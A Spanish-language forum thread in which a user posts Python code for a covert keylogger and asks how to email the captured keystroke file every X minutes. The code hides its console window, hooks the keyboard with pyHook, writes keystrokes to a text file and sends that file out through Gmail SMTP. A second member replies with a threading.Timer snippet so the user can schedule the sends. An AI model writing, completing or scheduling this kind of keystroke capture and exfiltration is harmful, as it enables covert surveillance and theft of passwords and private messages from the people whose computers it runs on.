Duda sobre python y funcion time

Iniciado por c405, 22 Mayo 2017, 00:43 AM

0 Miembros y 1 Visitante están viendo este tema.

c405

Buenas, por favor de aclararme esta interrogante, tengo una funcion que captura las teclas y las guarda en un txt y otra funcion que me envia ese txt por mail, ahora lo que me gustaria saber es como hacer para que ese txt me sea enviado cada X cantidad de tiempo. Eso deberia implementarlo en la funcion que me envia el mail, pero la verdad que estoy bastante mariado, llevo todo el día enroscado en esto. Si alguien puede echarme un cable se lo agradezco brothers.

tincopasan

hay varias formas de hacerlo, con la biblioteca time o con la de threading. Hay cientos de ejemplos en la red. Podrías poner un código de como lo quieres hacer y ahí ver si hay error o las posibilidades. además no es lo mismo que se repita cada minuto que cada horas o a una hora determinada. En fin hay muchas  variables.

c405

#2
Gracias Bro por responder, mira basicamente esto es lo que he codeado, please misericordia no hace mucho comienzo en programacion.

Código (python) [Seleccionar]
#Construir Email
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
#Adjuntar Email
from email.MIMEBase import MIMEBase
from email import encoders

import win32api, win32console, win32gui
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
import pythoncom, pyHook, sys, logging
import time, datatime



#ARRANCA E-MAIL
addr_to = 'usuario@gmail.com'
addr_from = 'usuario@gmail.com'
smtp_server = smtplib.SMTP('smtp.gmail.com', 587)
smtp_user = 'usuario@gmail.com'
smtp_pass = 'password'
#Se construye el Email
msg = MIMEMultipart()
msg['To'] = addr_to
msg['From'] = addr_from
msg['Subject'] = ':)'
msg.attach(MIMEText('sin titulo', 'plain'))
#Adjunta fichero
fp = open('C:\Users\data.txt', 'rb')
adjunto = MIMEBase('multipart', 'encrypted')
adjunto.set_payload(fp.read())
fp.close()
encoders.encode_base64(adjunto)
adjunto.add_header('Content-Disposition', 'attachment', filename='data.txt')
#Se adjunta al msg/Email
msg.attach(adjunto)
#Iniamos SMTP - loggea - envia - apaga conexion
#server = smtp_server
smtp_server.starttls()
smtp_server.login(smtp_user, smtp_pass)
smtp_server.sendmail(addr_from, addr_to, msg.as_string())
smtp_server.quit()



#Comienza Keylogger
N_archivo = 'C:\Users\data.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=N_archivo,
   level=logging.DEBUG,
   format='%(message)s')
logging.log(10,chr(event.Ascii))
return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.pumpMessages()

Osea por separado las funciones van bien, el mail me llega con un txt adjunto, por separado el keylogger funciona, claro que visto los codigos de muchos ejemplos que ahi en la red, pero ahora como no entiendo como hacer para que el mail salga cuando ha estado por ejemplo capturando teclas durante una hora, ahora mismo estoy leyendo sobre Thread ( hilos ). pero aun no comprendo del todo el concepto de como aplicarlo.
Devuelta muchas gracias  ya que me estas orientando bastante.


Mil disculpas Engel Lex, no vuelve a suceder!   :rolleyes:

· Los códigos deben ir en etiquetas GeSHi
·No hacer Doble post, usa el botón modificar
>aquí las reglas del foro
-Engel Lex


tincopasan

no voy a modificar tu código, te muestro una posibilidad de como hacerlo.
Código (python) [Seleccionar]

import threading
def Saludar():
    print ("Hola, hay un keylogger")

contador= 0
while contador < 5:
    t = threading.Timer(5.0, Saludar)
    t.start()
    t.join()
    contador+=1

ahora ves como podés aplicarlo a tu interés.
Saludos.

c405

Gracias, creo comprender la idea.
Saludos.